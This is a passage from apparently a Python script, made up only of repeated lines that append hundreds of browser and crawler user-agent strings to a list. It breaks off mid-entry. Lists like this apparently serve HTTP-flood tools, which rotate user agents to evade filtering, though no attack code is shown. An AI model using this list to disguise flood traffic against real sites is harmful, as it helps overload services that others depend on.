(SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 